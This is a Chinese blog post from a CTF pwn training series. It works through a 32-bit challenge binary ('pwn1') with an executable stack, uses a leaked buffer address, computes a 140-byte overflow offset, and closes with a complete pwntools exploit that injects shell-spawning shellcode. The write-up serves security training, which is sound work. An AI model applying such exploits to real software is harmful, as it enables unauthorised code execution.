习题--pwn1

最新推荐文章于 2025-03-30 19:47:24 发布

「已注销」

最新推荐文章于 2025-03-30 19:47:24 发布

阅读量181

点赞数

分类专栏： CTF-PWN-刷题-XMCVE培训课文章标签：小程序 PWN 网络安全

本文链接：https://blog.youkuaiyun.com/m0_49959202/article/details/120365200

版权

CTF-PWN-刷题-XMCVE培训课专栏收录该内容

14 篇文章

订阅专栏

该博客详细分析了32位程序pwn1，通过file、checksec、ida等工具揭示了程序的栈可执行特性。主要讨论了main函数中vulnerable_function()如何导致栈溢出，并利用printh函数泄露buf地址来布置shellcode。最终确定需要淹没140字节以执行shellcode，并概述了栈帧设计和exploit编写步骤。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

文章目录

pwn1

pwn1

1.程序分析

首先file一下，发现是32位程序：

checksec一下，发现栈段可以执行：

ida分析，main函数内部调用了vulnerable_function()，可以用来栈溢出：

同时发现上面的printh可以用来泄露buf的地址，因此可以将shellcode填上buf处，然后根据泄露的地址再跳回来执行shellcode

程序一下，可以查看到泄露的buf地址：

gdb调试发现需要淹没的长度为： $0 x f f f f d 2 d 8 - 0 x f f f f d 250 + 4 = 140$

2.栈帧设计

基于上述思路，栈帧如下：

3.exp编写

from pwn import *

shellcode = asm(shellcraft.sh())
io = process("/mnt/d/study/ctf/pwn/pwn1/level1")
buf = int(io.recvline()[14:-2], 16)
payload = shellcode + cyclic(140 - len(shellcode)) + p32(buf)

io.sendline(payload)
io.interactive()